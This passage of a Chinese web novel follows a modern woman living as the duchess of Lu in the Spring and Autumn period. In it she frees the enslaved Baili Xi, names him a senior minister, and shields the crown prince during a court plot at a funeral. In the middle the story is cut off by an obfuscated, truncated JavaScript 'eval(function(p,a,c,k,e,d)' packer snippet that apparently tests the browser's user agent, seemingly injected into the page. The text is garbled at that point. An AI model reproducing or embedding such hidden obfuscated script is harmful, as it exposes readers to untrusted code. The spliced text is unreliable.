或许是深刻感觉到理想与现实之间差距的巨大挫败感,江雅把钱袋里的所有的贝币和零碎东西全掏了出来,感觉还是不够,转头又把目光看向周琼。 不待江雅开口,周琼顺势也把自己的钱袋掏空,全部给了江雅。 江雅一股脑全塞到老人手里:“老人家,这些给你,孩子自己带着!好好活下去!” 老人看着手里远超过“两斗粟米”价值的财物,愣住了,随即激动得就要磕头。江雅赶紧拦住。老人看无以回报,颤巍巍地从身后的破行囊里摸索出五张鞣制好的羊皮,死活要塞给江雅:“贵人……小老儿没什么值钱东西,这是自己鞣的皮子,准备给大女儿当嫁妆的结实得很您收下,好歹能垫个座位……” 江雅推辞不过,只好收下,心情却更加沉重了。 她抱着五张羊皮,继续闷头往前走。突然,前方一阵喧哗呵斥声传来。只见一个壮汉正用皮鞭抽打一个被捆着双手的奴隶,骂骂咧咧:“该死的奴隶!还想逃跑!看我不打死你!” 那奴隶被打得蜷缩在地,却咬紧牙关一声不吭。 光天化日之下竟敢公然行凶打人,江雅压抑多时的怒火终于被点燃,马上就要冲出去救人,却被熟悉她的周琼一把抱住,“夫人,奴隶乃是其主人的私有财产,外人是无权过问的!” 江雅陡然停止挣扎,垂下双手,想说什么,却已无力开口。 良久,她惨然一笑,转向周琼,“你不是说我有经世致用之才吗,为什么我明明会那么多东西,却什么也改变不了!” “冰冻三尺非一日之寒,夫人不可操之过急。”看着失落的江雅,周琼忍不住握了握她的手。 江雅感觉手心一暖,也拍了拍她的手,示意自己已经恢复正常。 鞭挞辱骂声继续传来,江雅收拾心情,挤进去喊道:“住手!别打了!他值多少钱?我买了!” 那壮汉一看江雅衣着不凡,眼珠一转,报了个高价。江雅摸遍全身,发现钱刚才都给了那老人,只剩怀里那五张羊皮了。 “这个……够不够?”她迟疑地递出羊皮。 壮汉看了一眼半死不活的奴隶,又看了眼江雅背后捏起小拳头的小度,嘀咕着“算你走运”,一把抓过羊皮,骂咧咧地走了。 江雅看着眼前这个浑身是伤、狼狈不堪的奴隶,叹了口气,帮他松了绑:“你自由了,走吧。” 那奴隶挣扎了许久才爬了起来,却先是整理了一下破烂的衣衫,然后对着江雅郑重地行了一个极为标准的士礼,声音虚弱却沉稳:“救命之恩,没齿难忘,百里奚他日必有所报!” 看了一路糟心事的江雅,已颇觉疲惫,正准备回去休息,便向他摆摆手,走出几步后突然顿住,又马上折返跑回来,一脸不可置信地问道:“你刚才说你叫什么?” 那奴隶不解,却仍然恭敬地拱手回礼道:“鄙人百里奚!” 16. 第十六章 生于忧患 人的一生中,总有一些这样的时刻:在当下如陷深渊,每一刻都是灼人的漫长。然而经年之后,回忆会在某个不经意的瞬间袭来,总是让人蓦然怀念至泪流满面。那泪水既为当年黑暗中摸索的自己而流,也为曾照进裂缝的微光与温暖而流。时光将过往熬成酒,苦涩终成回甘。 在听到“百里奚”这个名字的时候,江雅瞬间回忆起高三时被必背古诗文支配的恐惧。 舜发于畎亩之中,傅说举于版筑之间,胶鬲举于鱼盐之中,管夷吾举于士,孙叔敖举于海,百里奚举于市。故天将降大任于是人也,必先苦其心志,劳其筋骨,饿其体肤,空乏其身,行拂乱其所为,所以动心忍性,曾益其所不能。 然而,多年以后的现在回忆起来,江雅却又是莞尔一笑,之前在管仲那里碰的壁,在集市上碰到的不愉快,瞬扫而空。 实际上,江雅对帮助秦穆公称霸西戎的百里奚并不熟悉,只是死记硬背了书本上的课文。但是管仲她却是才亲自面试过的(虽然被拒绝了- -!),但是能跟管仲齐名的人物,应该不会差到哪里去吧?总不能是一些‘北乔峰南慕容’这种差距特别大的CP吧?自己手气没那么差吧? “就你叫百里奚?以后跟着我好好干吧!” 百里奚不由愣在当地。 江雅却是不管不顾,看着勉强站着的百里奚,回头叫道:“小度!快去叫辆马车来!” “夫人,我们所有的钱刚才全给了那老农夫了!”小度委屈巴巴的。 江雅一拍脑袋,“哦,是的,那先去叫吧,等到了馆驿,自然有钱付账!” 不一会,一辆马车停了过来,江雅俯身,示意百里奚把手搭上来,准备把他扶上去。 百里奚神色复杂,深深地看了江雅一眼。 “夫人!”一向乖巧的小度,这下竟是一把冲过去,拦在中间,并瞪了江雅一眼。 “夫人,此处乃是集市,人多眼杂,况且夫人与他身份悬殊,此举怕是不妥。”周琼也出来劝说。 “多谢夫人好意,百里奚虽残败之躯,却仍有余力。”百里奚缓慢地攀住马车厢,试了好几次才爬进去,单薄而又残破的衣物露出背上抽搐不已的肌肉,显然正在强忍疼痛,却并未见他呻吟半句。 刷剧无数的江雅,已看出这就是所谓男人可笑的尊严,知道不便出手,于是坐上前面的驾驶位,准备为他驾车。 熟知江雅性格的周琼,不再劝说,拉着气鼓鼓的小度跟着上了车。 馆驿内,江雅亲自给百里奚安排了上等房间,又命人备了热水、新衣,甚至亲自端了热粥送到他面前。 “先生先养好身子,其他的事,日后再说。”她笑眯眯的,态度殷勤得近乎讨好。 百里奚却只是冷淡地扫了一眼粥碗,淡淡道:“夫人,奚乃一介贱奴,当不起如此厚待。” “当得起!当得起!”江雅笑容越发灿烂。 你们这种嘴硬心软的傲娇男,电视剧里拍的多了去了,我懂得很! “先生大才,屈居市井已是委屈,如今既入我门下,自然要以国士待之!” 百里奚沉默片刻,忽然抬眸,目光锐利如刀:“夫人何以断定奚有才?” 江雅眨了眨眼,“我夫君托梦告诉我的。” 百里奚:“……” 接下来的几天,江雅几乎把“礼贤下士”四个字刻在了脑门上,她每日亲自去百里奚房中问安,嘘寒问暖;又命人搜罗最好的药材,给他调养伤势。 但百里奚也差不多把“不识抬举”写在了脸上,一会嫌送过来的粥太烫,一会嫌药太苦,甚至还把端过来的饭退了回去——没有他想吃的鱼肉。 小度气得直跺脚,“夫人!您这是何苦?他不过是个落魄奴隶,凭什么对您摆谱!简直是白眼狼!” 江雅却浑不在意,反而乐呵呵道:“你懂什么?大才都有脾气!越是这样,越说明他有真本事!” 就在这样近乎闹剧般的日子里,百里奚的身体终于慢慢恢复了过来。 这一日,江雅正坐在庭院里苦思如何彻底收复百里奚,想来想去,终是不得其解。 不对啊!电视剧里不是这么拍的啊,我把他从奴隶生活里捞了出来,又对他这么好,按照剧情来,他早应该痛哭流涕地倒在我石榴裙下了才对,难道我不是女一号? 江雅晃了晃脑袋,决定放弃思考这个问题。 不管了,以前学管理的时候,说什么以终为始,反正要用他的,直接给他任命不就行了么,简单粗暴才是我的风格! 于是,江雅把展禽叫了过来。 “我要任命百里奚为宰相!”江雅一拍桌子。 展禽挑了挑眉,“夫人,你自集市回来,诸般举动都于礼不合,这些我都不说了,你说你要任命百里奚为宰相是什么意思?” “字面意思,我要给百里奚一个最大的官职!” 展禽无奈,“宰相又是什么职位?” “没有宰相一职吗,那最大的职位是什么?”咦,电视剧里不都说宰相是一人之下,万人之上么。 展禽耐着性子解释:“‘爵以定份,官以任能’,除了国君,身份最尊贵的就是上卿。” “那我就任命百里奚为上卿!” “夫人!”展禽神色严肃,“授官予爵乃国之大事,岂可儿戏!” “先君新丧,国都内人心不稳,暗潮涌动,本应以稳定为先,不可妄自任免。况且,上卿暂时只有姬挥、臧达、申需,三位夫子德高望重,岂能与一名下贱的奴隶同列!” 江雅不由想起那慈祥的藏老头以及老谋深算的姬挥,想想也是,百里奚初来乍到,怎么能与那些背景深厚的人争。 江雅缓缓地说道:“那就任命百里奚为上大夫!” 看着一脸坚定的江雅,展禽已知道她已经是劝不动了,忍不住叹了口气,“夫人唯才是举,展禽不便再多说,只是卿大夫历来都是从宗亲中选拔而来,夫人此举,阻力怕是不小,要早做打算才是。” 江雅想起波诡云谲的国都,还有那浑身反骨的太子,不由得也叹了口气。 唉声叹气的江雅与展禽并未发现,百里奚正在他们背后沉默地站着,湿润的双眼与颤抖的双手,显示出他的内心并不如表面上那么沉默。 多年的颠沛流离,不尽的世态炎凉,那份深藏于胸的抱负几乎已被岁月磨平棱角。百里奚原以为此生将如草木一般潦草终结,却万万没想到,在他最不堪、最绝望的时刻,竟是这样一位行事跳脱、不循常理的夫人,不仅给了他自由,更将一份他做梦都不敢想的尊荣与信任,毫无保留地捧到了他的面前。 上大夫! 那是多少士子终其一生都无法企及的高位!她竟要赋予他这个昨日还是阶下囚的“贱奴”!她甚至不知道他究竟有何才能,就敢如此信任他。 展禽那句“卿大夫历来从宗亲中选拔”的劝阻,和江雅那声带着无奈却异常坚定的叹息,像一把重锤,狠狠敲碎了他用以自卫的、冰封已久的外壳。那股被强行压抑了太久的热流,猛地冲垮了所有的堤防。 滚烫的泪水再也无法抑制,从他眼眶中奔涌而出,顺着他饱经风霜的脸颊蜿蜒而下,滴落在陈旧的地板上。 良久,百里奚擦干泪水走向前,江雅和展禽转头看向他,他眼神扫过江雅,却径直走到展禽面前,郑重地向展禽行了一礼。 “展夫子,奚,有一不情之请。” 展禽似乎明白了什么,神色肃然:“先生请讲。” “明日清晨,”百里奚的目光扫过江雅,最终定格在展禽身上,“可否请夫子为奚见证,行‘委质’之礼?” 展禽眼中闪过一丝了然与敬重,拱手道:“敢不从命。” 委质之礼,策名委质,贰乃辟也。一旦行此礼,便意味着他将自己的名籍与性命完全交付,这是独属于春秋士人的浪漫与坚守。 第二天,天色微明。馆驿简陋的厅堂内,百里奚沐浴更衣,虽衣衫仍显旧敝,却整洁无比。他神色庄重,手持一份书写着自己名讳与誓言的竹简,走到江雅面前。 在展禽的见证下,百里奚屈膝,躬身,将竹简高举过头顶,奉予江雅。声音沉稳而有力,回荡在寂静的清晨: “亡国之虏百里奚,蒙夫人不弃,赎于市井,待以国士,授以上大夫之尊。奚虽不才,敢不竭尽股肱之力,效忠贞之节,助夫人振兴鲁国,匡扶社稷!此生此志,天地共鉴,若有贰心,人神共弃!” 江雅看着眼前这无比郑重的一幕,也收起了平日嬉笑的神情。她虽然不太懂这礼节的深刻含义,但能感受到其中蕴含的千钧重量。她深吸一口气,上前一步,郑重地接过了那份沉甸甸的竹简。 “先生请起。得先生相助,是鲁国之幸,亦是我江雅之幸!”她努力让自己的声音听起来更可靠一点。 礼成。百里奚站起身,眼中最后一丝疏离与试探已荡然无存,取而代之的是一种沉淀下来的、锐利而专注的光芒。 看着卸下防备的百里奚,江雅觉得时机到了,马上便把自己的“伟大理想”——什么人人有书读、男女都做官、科技兴国、共同富裕等等现代概念,夹杂着各种比手画脚和夸张的形容词,一股脑地全倒了出来。 最后,她双手一摊,肩膀垮了下来,露出了穿越以来罕见的迷茫:“……大概就是这样。想法很多,可具体该先做什么,后做什么,怎么才能做成……我、我完全不知道从哪里下手才好。感觉每一步都难如登天。” 百里奚静静地听着,没有打断,也没有像其他人那样露出看疯子般的表情。直到江雅说完,他才缓缓开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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临行前,江雅深情地看着周琼,这个看起来年纪比自己小的多的妮子,竟然成了自己的导师与引路人,命运之百折千回,真是难以预料。 “你出嫁那天,我一定回来送你!”江雅拉着周琼的手,依依不舍。 周琼眼中水光潋滟,反握住她的手,柔声道:“夫人前程万里,不必以琼为念。但愿夫人勿忘昨日星空之下,你我之约。”她从腕上褪下一枚温润的玉环,放入江雅手中,“见玉如晤,珍重。” 马车驶离馆驿,扬起淡淡尘土。 江雅回头望去,只见展禽与周琼并肩立于驿馆门口的身影渐渐模糊。 她握紧手中的玉环,深吸一口气。 国都,老娘又回来了! 就在江雅一行人马扬尘远去的同时,不远处的山坡上,两道身影静立良久。 姜纠望着那渐行渐远的车马,忽然开口道:“先生,之前你说齐国即将大乱,劝我出居以避难,但是直到现在,国内似乎并未有任何消息传来。” 管仲微微皱眉,“齐侯暴虐无常,国都内暗潮汹涌,如若发生暴乱,公子难保不受波及,”他顿了顿,接着说道,“再者,留在国内,我们的一切行动都会受到齐侯以及其他势力的监视和制约,很难有效组织自己的力量。公子您出身鲁国,早点过来接洽,有助于换取鲁国的资助,鲁国虽然势力比不上我们齐国,但却是离我最近的诸侯强国,一旦国内有变,便可请求鲁国派兵护送我们回国,顺利继位,届时,大事成矣!” “还是先生深谋远虑,一切全凭先生做主!” 姜纠大喜,转而问道:“先生,鲁夫人此番带个奴隶回国,你怎么看?” “鲁夫人行事犹如天马行空,又雷厉风行,”管仲转过身来看向江雅远去的方向,“管仲虽然自诩有才,但一直以来并未有机会施展所学,反为形势所逼,留有诸多劣迹,只有鲍叔牙一直对我坚信不疑。而鲁夫人三番两次亲自前来请教,折节下士,全然不顾世人对我的诸多微词,这番知遇之恩,实在是难以为报。若非管仲此身已许齐国…”管仲突然停下,接着说道:“以鲁夫人识人之明,直接提拔一名奴隶为上大夫,只怕其才能不会在我之下,士为知己者死,百里奚遇此良主,定会夙夜忧国,大夫贤明而君上又不乱加干预,看来鲁国会是我们齐国称霸的强劲对手,我们要早做准备才是。” 姜纠想起自己那‘非同寻常’的姐姐,不由笑道:“先生过虑了,就凭一个奴隶能翻出什么浪来,只怕国都内大夫们的唾沫,就够他喝上一壶的了,哈哈!” 管仲并未理会姜纠的干笑,他的目光追随着那行车马直至其融入天际,化作难以辨认的黑点。长久的沉默中,他仿佛已看见,在遥远的未来,从鲁国这片土地上生长出的藤蔓,必将紧紧缠绕住齐国称霸的车轮。 17. 第十七章 最熟悉的陌生人 姬挥府邸的密室,窗牖紧闭,唯有一盏昏黄的兽灯摇曳,将三人身影投在绘有蟠螭纹的壁上,扭曲晃动,似蛰伏的凶兽。 申需率先打破沉寂:“夫子,听说夫人马上要带着那个从市集捡来的奴隶回来了,一路招摇过市,听闻竟欲授以上大夫之职!如此颠倒尊卑,置我鲁国宗亲于何地?置礼法于何地?” 姬挥并未立刻回应。他枯瘦的手指缓缓摩挲着一只古旧的青铜酒樽,樽身铭文已被岁月磨蚀大半。半晌,他才抬起眼皮,目光沉静如古井深潭。 “礼法…”他轻哼一声,似在咀嚼这两个字,“礼法乃立国之本,亦是驭人之器。夫人此举,确然违礼。但是,齐强鲁弱亦是事实,虽然传言夫人与齐侯已断绝关系,但是齐国并未表态,太子也对其态度暧昧,不可直接硬撼。” 他顿了顿,目光扫过垂手恭立的鲁庆,缓缓道:“申需,安排人手,待夫人车驾至,依‘礼’行事,着重‘提醒’一下那位新来的先生,身份不明,莫要污了曲阜清贵之地。” “妙啊!”申需抚掌,“不过听说夫人在边境弄了一个什么筒车,很得当地民心,要是让她站稳脚跟,太子的地位也就稳了。只是简单地杀一下夫人的威风,恐怕也无济于事吧。” “刀剑能杀人,礼法却能诛心。杀人易,诛心难。今日折其羽翼,挫其锐气,来日方好行事。”他话锋一转,语气陡然变得凝重,“明日,先君下葬,才是重中之重。” 密室内的空气瞬间凝固。鲁庆身子一颤,心跳骤然加速。 姬挥的声音压得更低,如同毒蛇吐信:“先君新丧,嗣君骤薨,实乃举国之大悲。” 申需阴恻恻地接口,声音带着诱惑:“公子庆至孝至贤,国不可一日无君,届时…众公子中,还有谁比您更合适承继大统?此乃天意,亦是民心所向啊!” 鲁庆猛地抬头,眼中是无法掩饰的狂喜,脸色瞬间煞白又涌上潮红,呼吸都急促起来。 姬挥的目光冰冷地钉在他脸上,语气平淡却蕴含着极大的压迫感:“鲁庆,懂分寸,知进退,才是好嗣君。莫要步了…隐公的后尘。” “隐公”二字,姬挥咬得极轻,却像重锤砸在鲁庆心上。一股寒意从脚底直冲天灵盖,狂喜被巨大的恐惧彻底吞噬。他扑通一声跪倒在地,额头抵着冰冷的地板,声音颤抖不已:“鲁庆明白!”低垂的眼眸深处,一粒仇恨的种子已悄然种下——老匹夫!今日之言,他日我必百倍奉还! “鲁国积弱,需强权统领,隐公优柔寡断,几误国政,夫人出身齐国,难保齐国不干涉我国内政,老夫所为,非为一己之私,实为鲁国社稷,希望你上位之后,我们能带鲁国更加强盛。” “全凭夫子做主!” 马车辘辘,行驶在返回曲阜的官道上。江雅看着道路两旁辛勤耕作的农人,不由想起在遇到百里奚之前决定发明锄头代替耒耜的想法。 “先生,现在用的农具,实在太笨重了,我想做一种锄头,铁做的头,开刃,锋利得很!后面安一个长长的木柄,这样,”她做出挥锄的动作,“抡起来,一下就能刨开硬土!还有犁,为什么没看到有牛拉犁,再做一个曲辕犁,用牛来拉,一个人一头牛,一天能耕好大一片地呢!” 百里奚凝神静听,越是听,心中的惊异便多一分。这位夫人的思维天马行空,所言器物闻所未闻,却又句句直指农耕核心之弊,若真能实现,其效只怕难以估量。 他压下心中关于铁如何冶炼、锄头如何锻造的万千疑问,沉吟片刻,沉稳开口:“夫人所思所想,实乃强农富民之根本,其功可追上古之后稷。然,欲速则不达,工欲善其事,必先利其器,亦需善用其器之人。” “先生有何高见?”江雅眼睛一亮。 “奚有一请,望夫人思量。请夫人于万机之暇,将这些器物的形制、制法、乃至您所知晓的一切利国利民之奇术,详述于简牍之上。”百里奚目光深邃,显然已深思熟虑,“可交代任明,令其择选聪慧忠谨之工匠子弟,分门别类,专人专学。譬如,专攻冶铁者,专研农器者,再有任明居中调控。如此,一则,诸事可并行不悖,大大缩短革新之周期;二则,亦可使核心技艺不致全盘外泄,受制于人。此乃立足长远、稳健强国之策。” 家人们谁懂啊,碰到一个比你还懂自己的人,是多么愉快的一件事啊! 江雅来自现代,脑海里有一大堆的想法、发明,但就像茶壶倒饺子,有货倒不出,别说让她牵头一一实现了,就真要让她讲,她也是东一榔头西一棒槌,讲不到重点。现在百里奚这么一点拨,江雅瞬间就感觉犹如拨云见日一般。 “专业的事交给专业的人办!我怎么把任明这小子给忘了!”江雅激动地一拍车厢,“先生大才!此计甚妙!就这么办!” 虽然小度对百里奚这番条理清晰的谋划听不太懂,但看江雅高兴的样子,也知道百里奚很是得夫人的欢心。她想起自己之前的怠慢和怀疑,顿时满脸羞惭,小声嗫嚅道:“百里先生……之前…之前是小度眼见识浅薄,怠慢了先生,先生您大人大量,千万别跟我这小女子一般见识。” 百里奚温和地笑了笑:“姑娘言重了。你忠心护主,赤诚可嘉,何错之有?日后,还有许多地方需倚仗姑娘。” 正说着,马车缓缓停下。车外传来侍卫的声音:“夫人,已至曲阜南门。” 江雅掀开车帘,只见城门巍峨,门下却剑戟森然。一名身着皮甲的将领带着一队兵士拦在门前,正是申豹。 “来者可是夫人车驾?”申豹扬声喊道,“末将申豹,恭迎夫人回国!” “正是。”正所谓来者不善,善者不来,江雅心中已有不好预感。 “恕末将无礼!”申豹拱手,声音提高八度,刻意让周围渐渐聚拢的国人听见,“依我先君所定之礼,国都正门,非公室宗亲及世卿贵族车驾不得入内!以免褒渎清贵之地!” 江雅眼中寒芒一闪,“就凭你,也敢拦我车驾!” “夫人身份尊贵,末将自然不敢,”他手指猛地指向百里奚,“末将观夫人车驾之上似乎有人并非贵族,亦不在礼制所允之列,夫人即为小君,如要强行通过,自无不可,但需从末将尸体上碾过去;但如若夫人还遵礼法,就请让其下车,步行入城!” 江雅的袖子一撸,正想发飙。 “夫人。”百里奚沉稳的声音后响起。他已自行下车,步履从容地走到申豹面前,先是规规矩矩行了一个揖礼。 申豹并未还礼,嘴角噙着一丝冷笑。 只见百里奚直起身,朗声道:“申将军不惜以性命相搏,恪尽职守,谨守礼法,实乃鲁国之幸!” 申豹一愣,没想到对方会先夸自己。 “但是,《书》有云:‘任贤勿贰,去邪勿疑’,”百里奚话锋一转,声音依旧平和,却清晰传入每个人耳中:“奚虽曾为奴隶,却蒙夫人不弃,授以上大夫之职,现有夫人手令在此,将军以‘出身’拦我,莫非是要违逆‘举贤’之礼? “《诗》曰:‘乐只君子,邦家之基’,武丁访傅说于版筑之间,殷道中兴;文王得太公于渭水之畔,周室以强。古之明君,求贤不拘出身,用人不避卑贱。你不过区区一个守门小吏,难道要质疑夫人的决断?” “再者,夫人乃一国小君,主政内宫,行止坐卧,车驾仪仗,非为一己之私,实乃代表国君之威仪,鲁国之体面!” 他环视周围越聚越多的国人,声音陡然拔高:“今日,若因在下一介鄙陋之身,而阻小君车驾于国门之外,损的是谁的颜面?是夫人的颜面吗?非也!损的是我先君的颜面!是太子殿下的颜面!是我鲁国在天下诸侯眼中的颜面!” 他猛地看向申豹,目光如电:“申将军!你此举一则违‘礼’,二则损国?你是要让天下人嘲笑我鲁国不知礼,遵小节而忘大体吗?!” 一连串的质问,引经据典,义正词严,如同重锤,一下下砸在申豹和周围军士的心上。申豹被驳得面红耳赤,张口结舌,他一个武夫,哪懂这些弯弯绕绕的道理,只觉对方字字如刀,偏偏又无法反驳。周围的国人开始窃窃私语,指指点点。 “你…你…”申豹气急败坏,手按上了剑柄。 “将军!”百里奚上前一步,毫无惧色,“百里奚愿步行入城,以全将军守护礼法之心。然,夫人车驾,必须依礼制,堂堂正正驶入曲阜!请将军即刻放行!”说罢,他不再看申豹,转身对江雅车驾躬身一礼,然后昂首挺胸,率先向城门内走去。 申豹僵在原地,脸色铁青,眼睁睁看着百里奚步行引着江雅的马车入城。 江雅和小度在车里看得目瞪口呆。小度喃喃道:“夫人…先生他…好厉害…” 车驾入城,宫中却异样冷清。江雅心下疑惑,拉住一个匆匆走过的老宫人:“太子和诸位大夫呢?宫中为何如此空荡?” 老宫人见是江雅,吓得跪倒在地,颤声道:“回…回夫人,今日…今日是先君下葬之期啊!太子殿下和众位卿大夫,一早就前往城外陵寝举行大葬之礼了……” “什么?!”江雅如遭雷击,脸色瞬间苍白,“为何…为何无人通知我?!” 老宫人抖得更厉害了:“是…是太子殿下…亲自下令…说…说…不准通知夫人您…免得…免得……” 后面的话江雅已经听不清了。一股冰寒彻骨的凉意从心蔓延到四肢百骸,伴随着巨大的委屈和伤心。 江雅想起,为了这个儿子,几次三番委屈自己去讨好他,就算是在殡宫被羞辱,也从未想过去报复,自己殚精竭虑地搞发明、抢人才,虽然是为实现自己的理想,但也是为了他这个在世上唯一的亲近的人啊! 可他呢?他连夫君的葬礼都不愿让我参加?他就这么恨我?背负“弑夫”之名回国的我,竟然还缺席国君的葬礼,史书会怎么写?诸侯会如何看?身为太子,他宁愿连国体都不要,也要和我划清界限,让我背上千古骂名,呵呵,我的好儿子,好儿子啊! 江雅身体一晃,忍不住往后倒去,心疼不已的小度赶紧扶住。 看着乖巧的小度,江雅的眼泪忽然不受控制地涌上眼眶,视线瞬间模糊。 她想起现代那个自己,虽然没什么出息,但是敢爱敢恨,何曾受过这等屈辱?一股强烈的冲动涌上心头:不去就不去!有什么了不起!既然他不认我这个母亲,我又何必去自取其辱!这破葬礼,谁爱去谁去! 她猛地转身,就想冲回寝宫。 然而,脚步刚迈出,却又生生顿住。 “无论出身,无 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空气中弥漫着燃烧香蒿和黍稷的气息,太祝正在高声吟诵着冗长而古老的悼词,追述先君功绩,祈求祖先接纳其魂灵。乐工奏着低沉哀伤的挽歌。 太子鲁同跪在最前方,一身粗麻斩衰,腰系草带,形容憔悴,神情木然地看着那具巨大的、绘有繁复龙纹的棺椁。姬挥、臧达、申需等重臣跪在其后。鲁庆跪在稍后位置,低垂着头,看不清表情。 仪式已进行到最后一步——下葬。八名精选的力夫,扛起巨大的棺椁,随着太祝的指令,一步一步,沉重地走向墓穴。每一步都似乎踩在众人的心上。 就在这时,一阵急促的车马声打破了哀肃的气氛!一辆马车疾驰而至,尘土飞扬。车未停稳,一个身影便跳了下来——正是江雅! 所有人的目光瞬间聚焦在她身上,充满了震惊、鄙夷、慌乱,以及一丝不易察觉的期待。 鲁同猛地转头看到她,嘴唇剧烈地颤动了一下,似想开口说些什么,但最终,所有情绪都化为更深的冰冷和沉默。他扭过头,不再看她,默认了她的闯入。 江雅发髻有些散乱,一身素服也因匆忙而略显不整,但她毫不忌讳旁人的眼光,挺直脊背,径直冲向葬礼的中心! 姬挥的眼中闪过一丝极快的阴鸷与算计,与斜后方的申需迅速交换了一个眼神。姬挥微不可察地点了下头,目光扫过抬棺的力夫队伍。 下葬继续。力夫们扛着棺椁,小心地挪到墓穴边缘。就在棺椁即将被绳索缓缓放下,经过太子正前方时——异变陡生! 右侧一名力夫脚下“突然”一滑,发出一声惊恐的惨叫,整个人向后摔倒。他这一倒,瞬间打破了平衡,沉重的棺椁猛地向左下方倾斜、滑落!带着千钧之势,朝着正下方跪着、毫无防备的鲁同直砸下去! “太子!” “小心!” 惊呼声四起! 鲁同愕然抬头,瞳孔中倒映着那迅速放大的、狰狞的棺椁黑影,死亡的恐惧瞬间笼住了他,竟使他僵在原地,无法动弹! 电光火石间,江雅的大脑一片空白!什么委屈,什么理想,全都消失了! “同儿——!” 她发出一声凄厉到变调的尖叫,像一只扑火的飞蛾,猛地冲了过去!用自己单薄的肩膀,死命地顶向那砸落的棺椁一角! “咚!”一声闷响! 沉重的力道几乎瞬间压垮她!她清晰地听到自己骨骼发出的不堪重负的呻吟,膝盖一软,整个人被压得半跪下去,五脏六腑都像移了位!额角刚刚结痂的伤口再次崩裂,温热的鲜血瞬间涌出,模糊了她的视线。但她咬碎了牙,凭着一股惊人的意志力,硬生生扛住了那致命的重量,将鲁同牢牢护在了身下的一方狭小空间里! 鲁同彻底惊呆了。他仰着头,看着那张近在咫尺的、因极度痛苦而扭曲狰狞的脸,看着她额上汩汩流下的、滚烫的鲜血滴落在自己的孝服上,绽开刺目的暗红。 这一次,她的眼神里没有没有怨恨,没有责备,只有一种近乎野兽般的、纯粹的守护和坚定。 眼前这个最熟悉的人,竟会如此陌生,一直冰封的心,在这一刻,被这鲜血和疯狂撞出了一道深深的裂痕。 “太子!” “夫人!” “快!快救人!” 现场顿时炸开了锅!乱成一团!鲁庆眼中闪过一瞬极致的失望和愤怒,但他立刻又换上惊恐慌乱、焦急万分的神色,第一个扑了上去:“快!快救太子!救夫人!快啊!” 众人手忙脚乱,喊叫着,合力才将那沉重的棺椁重新稳住,缓缓放下。七手八脚地将几乎被压垮的江雅和惊魂未定的鲁同从下面拖了出来。 鲁同被人扶着站起,脸色惨白,目光却死死盯在那个瘫软在地、浑身尘土与鲜血、已然昏迷不醒的女人身上,眼神复杂到了极点,依然沉默不语。 姬挥面色铁青地看着这一幕,袖中的手紧紧握成了拳。 一向和蔼的臧达竟也面色凝重,目光锐利地扫过姬挥和抬棺的力夫。 陵寝之地,只剩下风声、人们的喘息声和低低的啜泣声。一场葬礼,以谁也未曾料到的惊变,戛然而止。 18. 第十八章 齐国来信 江雅是在一阵浓郁的药香和低低的啜泣声中恢复意识的。 眼皮沉重得像是坠了铅,她费力地掀开一条缝隙,朦胧的光线刺得她微微眯起了眼。模糊的视野逐渐聚焦,首先映入眼帘的是床榻边伏着的一个小脑袋,乌黑的发髻有些松散,肩膀随着压抑的抽泣轻轻耸动,正是守候多时的小度。 江雅下意识地想动动手指,一股撕裂般的剧痛瞬间从右肩蔓延至全身,让她忍不住发出一声极轻的抽气。 “嘶……” 就这么一点微弱的声响,却像一道惊雷,炸响了室内凝滞的空气。 “夫人?!”小度猛地抬起头,一双肿得像桃子的眼睛瞬间迸发出一阵狂喜,眼泪却流得更凶了,“夫人!您醒了?!您真的醒了?!太子殿下!王姬!臧夫子!展大人!百里先生!夫人醒了!夫人醒了啊!” 小度语无伦次地喊着,想要伸手查看江雅的伤势,又怕碰到她的伤口会痛,只好死死攥着被角,哭得鼻涕眼泪糊了满脸。 急促的脚步声瞬间从外间传来,下一刻,江雅的床榻边便被围得水泄不通。 鲁同踉跄着冲到了最前面。他比之前更加消瘦,脸色苍白得没有一丝血色,原本清澈的眸子此刻布满了血丝,红肿不堪, 看起来,似乎比在给国君守丧时更加憔悴。 他看着江雅苍白虚弱的面容和额上缠着的、隐隐渗出血色的纱布,眼圈瞬间又红了,慌忙低下头,双手紧紧攥住了衣角。 他似乎有千言万语想说,有无尽的悔恨要表达,却最终只是笨拙地将一杯清水往前递了递,“娘亲…喝点水吧”,声音却干涩沙哑得不成样子。 江雅看着眼前这个略显笨拙而又憔悴的太子,又是怜惜,又是欣慰,她勉强笑了笑,强撑身子,想要接过那杯水,却只是徒劳,又疼地一嘶。 小度连忙接过,扶起江雅,小心地喂了一口。鲁同知道自己又做错了事,羞愧地低下了头。 臧达走上前,老眼含泪,激动得嘴唇哆嗦着,连连道:“苍天庇佑!苍天庇佑啊!夫人您可算醒了!” 一身素衣的周琼快步上前,眼中满是关切:“夫人,你醒来就好了…真是吓死我们了!”她身后,单伯一脸无奈又担忧地站着,显然没能拦住执意要来亲自照料的公主殿下。 而站在稍后位置的展禽和百里奚,虽未言语,但看着醒来的江雅,似乎总算松了口气。 江雅的视线缓缓扫过这一张张写满担忧、惊喜、关切的脸庞。有她穿越初识的小丫头,有自己拼死救回来的骨肉,有似爷爷般照顾自己的老人,有新结交的知己,还有她以国士相待的肱股之臣…… 江雅不禁想起自己自穿越以来,背负骂名,一路挣扎求存,装疯卖傻,从未有一刻感到如此的幸福、满足。仿佛一艘在狂风巨浪中飘摇的小船,终于驶入了可以暂时停泊的港湾,一股难以言喻的暖流涌上心头。 她鼻子一酸,视线再次模糊,嘴角却努力向上扬起,扯出一个虚弱的笑容,声音干涩而沙哑:“我…我没死啊…看来我的罪孽还不够深重呢…” 她试图用惯常的玩笑冲淡这过于沉重的气氛,却不料小度“哇”地一声哭得更厉害了:“夫人!您都这样了还说笑!” 众人又是心酸又是好笑,寝殿内凝重的气氛终于被打破,多了几分劫后余生的生气。 通过众人七嘴八舌的叙述,江雅才知道,自己竟已昏迷了整整三天。想那棺椁何等沉重,她不仅右肩锁骨裂了,背上大片淤伤,内腑也受了震荡,加之额角旧伤崩裂失血,反复高烧,医正几次摇头,差点就救不回来了。 